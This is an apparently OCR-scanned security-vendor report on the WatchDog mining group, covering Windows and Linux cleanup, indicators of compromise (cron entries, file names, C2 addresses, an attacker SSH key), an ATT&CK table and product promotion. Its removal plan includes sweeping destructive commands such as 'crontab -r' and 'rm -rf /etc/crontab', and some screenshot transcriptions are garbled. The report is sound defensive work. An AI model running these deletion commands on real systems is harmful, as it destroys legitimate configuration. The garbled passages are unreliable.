e e 300 Wiersuafe Cugpura  Cliaat Surse | MI0310 1 INX C Wiadsests.  [GHfIWlens,  OurIITROIAL. Qe00TTPIIE Gw0M
m elninit sae an Wiaaneft Copurs  Waln: @Y -mgﬂ-ni 1 200 C Wiadeezis [Glikioieree carrrrENIOlL Qa0O0ITIYE . Qw0
s . Tt ake O Mt Capas - Cliat Zerre . MOS0 L 1M ClWisdeestS [EJRIMlerss . CorPITROIL. QLI Ow0X
. winlogen e AN Wlerensfe Cogura . tladess 8% midurod L LT R TSV A {GHfiMieras | urrPFEMIAL.  ROEEZEAGSS. . 0000
survicer e B EiessfE Cugaa . BSWIEME.  aum0rio L ann Cmladsess.  [GlfImlens  carerEISl gaouTNNG . 0wm
Txace we o3 Wiersnift Cormnrn . Laddl Seracl - MIGWOL L 200 ClWisdeestS.  [EHRIWLerse CxPEPPENINL QeODOPMIL Q000

Figure 4-1 End the corresponding process

Delete the corresponding scheduled task, Update service for Windows System .
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Figure 4-2 Deleting a scheduled task

Delete mining and other landing files. The corresponding directories are C:\Users\ username

\AppData\Local\Temp and C:\Users\ username.
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Figure 4-3 Delete mining and other landing files

If you check the network behavior of mining programs, you will find a lot of scanning behavior.
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Figure 4-4 Network behavior of mining programs
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Delete the malicious account bak$.

EOeAnF EHAT U0
3 das o
N ™

3 dw T
hlsiewaiw  TEIO004 “ 3 dwm Yot
HIARMMMEARESD  Fot 3 bt T

Figure 4-5 Delete malicious accounts

4.2 Linux
Notes:
»  The mining script will terminate the security software process. If it exists in the system, it needs to be restarted;

»  The mining script will delete all scheduled tasks. If there are other non-malicious scheduled tasks in the system,

they need to be recreated.

»  The mining script will modify system configuration information, such as disabling the firewall, etc. If necessary,

manual modification is required;

» The mining script will download scanning tools and replace some system commands. Please contact Antiy

engineers for details.

4.2.1 Identification of Mining Trojans

1. Scheduled tasks
®  cat /var/spool/cron/*
*/25 * * * * gh Jetc/rsyncd.sh >/dev/null 2>&1
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®  cat/etc/cron.d/*

*/10 * * * * sh /etc/rsyncd.sh

®  cat/etc/crontab

0 1 * * * root sh /etc/rsyncd.sh >/dev/null 2>&1

2. Document

®  Is-al/etc|grep redis-bin (similar to other files, non-root permissions are executed in the / tmp directory)

/etc/redis-bin

/etc/rsyncd.sh

/etc/rsysdlog

/etc/VGAuthServices

3. Process name

redis-bin

VGAuthServices

rsysdlog

4.  Network-side troubleshooting

23.94.62.184:5443

80.211.206.105:9000

redislog.top:5443

The VGAuthService process will initiate a large number of SYN_SENT scans

5. SSH public key

®  cat /root/.ssh/ authorized keys

ssh-rsa

AAAAB3NzaClyc2EAAAADAQABAAABAQCIWKIiJ7yQ6HcafmwzDMv1RKxPdJI/oe XUWDNW IMrwiQ
NvKeSeSSdZ6NaYVqfSIgXUSgiQbktTo8Fhv43RIFWDvVhSrwPoFBz9S AfgO06jcOM2kGVNS9J2sLJdUB%u
1KxY5102qG4QTgZ6LP2UUWLG7TGMpkbK 726 GBHAZx7u315+Vc82dKtI0zb/ohY SBb7pK/2QFeVa22L+41
DrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVIrPfsxXH2bOLc1PMrK10G8dyk8gY 8m4iZfr9ZD
GxsdgAqdWtBQNIN8cvz4SI+]votvayMH7f+KI12yXiHN50DIBVTkdIWX root@ul7

4.2.2 Removal Plan

1. Delete a scheduled task
crontab -r

rm -rf /var/spool/cron/*

rm -rf /etc/cron.d/*

rm -rf /var/spool/cron/crontabs
rm -rf /etc/crontab

2.  End related processes
redis-bin

VGAuthServices

rsysdlog

3. Delete related files

chattr -ia /etc/redis-bin*

chattr -ia /etc/rsyncd.sh*
chattr -ia /etc/VGAuthServices
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chattr -ia /etc/rsysdlog

rm -rf /etc/redis-bin

rm -rf /etc/rsyncd.sh

rm -rf /etc/VGAuthServices

rm -rf /etc/rsysdlog

4.  Delete an SSH public key

chattr -ia /root/.ssh/authorized keys*
rm -rf /root/.ssh/authorized keys

5 ATT&CK Mapping Diagram Corresponding to the Incident

Regarding the complete process of the attacker deploying the mining Trojan, Antiy sorted out the ATT&CK

mapping map corresponding to this attack incident as shown in the figure below.
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Figure 5-1 ATT&CK mapping of incidents
The following table lists the techniques used by the attackers:

Table 5-1 ATT&CK technical behavior description table corresponding to the incident

ATT&CK
stage/category

Active Scan Scan port 6379
Leverage public-facing applications Accessing using Redis service
Utilizing command and script interpreters Using ps and sh scripts

Utilize scheduled tasks/jobs Creating a scheduled task
Il?}l;g}sl:n?sf;n the control privilege escalation i e Adiriits et G
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Execution scope protection
Modify file and directory permissions

Hidden Behavior

Defense evasion

Weakened defense mechanisms
Deleting a beacon

Modifying the authentication process

Get the credentials from where the password

Credential access .

is stored
Lateral movement Leveraging remote services
Collect Collect local system data
Command and C Using application layer protocols

6 Protection Recommendations

Analysis of Recent Activities of the WatchDog Mining Organization

Daemon process protects mining program
Modify file attributes

Hide processes and network activity
Delete firewall rules, etc.

Delete log

Add SSH public key

Get the SSH key

Scanning Redis Services

Utilize SSH services

Collecting host name information
Use HTTP protocol to transmit

Occupies CPU resources

In response to mining attacks, Antiy recommends that companies take the following protective measures:

1.  Windows/Linux version of Antiy Intelligent Endpoint Protection System;

2. Strengthen SSH passwords: Avoid using weak passwords. It is recommended to use passwords that are 16

characters or longer, including a combination of uppercase and lowercase letters, numbers, and symbols.

Also, avoid using the same password on multiple servers.

3. Update patches in a timely manner: It is recommended to enable the automatic update function to install

system patches, and the server should update system patches in a timely manner;

4. Update third-party application patches in a timely manner: It is recommended to update third-party

application patches such as Redis in a timely manner;

5. Enable logs: Enable key log collection functions (security logs, system logs, error logs, access logs,

transmission logs, and cookie logs) to provide a basis for tracing security incidents.

6. Host reinforcement: perform penetration testing and security reinforcement on the system;
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7. Deploy an Intrusion Detection System (IDS): Deploy traffic monitoring software or equipment to facilitate
the discovery and tracing of malicious code. Antiy Persistent Threat Detection System (PTD) uses network
traffic as the detection and analysis object, and can accurately detect a large amount of known malicious
code and network attack activities, effectively discovering suspicious network behavior, assets, and various

unknown threats;

8. Antiy Service: If you are attacked by malware, it is recommended to isolate the attacked host in a timely
manner and protect the site while waiting for security engineers to investigate the computer; Antiy 7*24

hour service hotline: 400-840-9234.

Deploy an enterprise-level endpoint defense system to provide real-time detection and protection against
unknown files received by instant messaging software. Antiy Intelligent Endpoint Protection System uses
Antiy's next-generation threat detection engine to detect files from unknown sources and prevent them from

landing and running through kernel-level active defense capabilities.
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Figure 6-1 Antiy Intelligent Endpoint Protection System effectively protects against attacks by the WatchDog

mining group
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Appendix 2: About Antiy

Antiy is committed to enhancing the network security defense capabilities of its customers and effectively
responding to security threats. Through more than 20 years of independent research and development, Antiy has
developed technological leadership in areas such as threat detection engines, advanced threat countermeasures, and

large-scale threat automation analysis.

Antiy has developed IEP (Intelligent Endpoint Protection System) security product family for PC, server and
other system environments, as well as UWP (Unified Workload Protect) security products for cloud hosts, container
and other system environments, providing system security capabilities including endpoint antivirus, endpoint
protection (EPP), endpoint detection and response (EDR), and Cloud Workload Protection Platform (CWPP) , etc.
Antiy has established a closed-loop product system of threat countermeasures based on its threat intelligence and
threat detection capabilities, achieving perception, retardation, blocking and presentation of the advanced threats
through products such as the Persistent Threat Detection System (PTD), Persistent Threat Analysis System (PTA),
Attack Capture System (ACS), and TDS. For web and business security scenarios, Antiy has launched the PTF Next-
generation Web Application and API Protection System (WAAP) and SCS Code Security Detection System to help
customers shift their security capabilities to the left in the DevOps process. At the same time, it has developed four
major kinds of security service: network attack and defense logic deduction, in-depth threat hunting, security threat
inspection, and regular security operations. Through the Threat Confrontation Operation Platform (XDR), multiple
security products and services are integrated to effectively support the upgrade of comprehensive threat confrontation

capabilities.

Antiy provides comprehensive security solutions for clients with high security requirements, including network
and information authorities, military forces, ministries, confidential industries, and critical information infrastructure.
Antiy has participated in the security work of major national political and social events since 2005 and has won
honors such as the Outstanding Contribution Award and Advanced Security Group. Since 2015, Antiy's products and
services have provided security support for major spaceflight missions including manned spaceflight, lunar
exploration, and space station docking, as well as significant missions such as the maiden flight of large aircraft,
escort of main force ships, and Antarctic scientific research. We have received several thank-you letters from relevant

departments.
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Antiy is a core enabler of the global fundamental security supply chain. Nearly a hundred of the world's leading
security and IT enterprises have chosen Antiy as their partner of detection capability. At present, Antiy's threat
detection engine provides security detection capabilities for over 1.3 million network devices and over 3 billion smart
terminal devices worldwide, which has become a "national-level" engine. As of now, Antiy has filed 1,877 patents in
the field of cybersecurity and obtained 936 patents. It has been awarded the title of National Intellectual Property

Advantage Enterprise and the 17th (2015) China Patent Excellence Award.

Antiy is an important enterprise node in China emergency response system and has provided early warning and
comprehensive emergency response in major security threats and virus outbreaks such as "Code Red", "Dvldr",
"Heartbleed", "Bash Shellcode" and "WannaCry". Antiy conducts continuous monitoring and in-depth analysis
against dozens of advanced cyberspce threat actors (APT groups) such as "Equation”, "White Elephant", "Lotus" and
"Greenspot" and their attack actions, assisting customers to form effective protection when the enemy situation is

accurately predicted.
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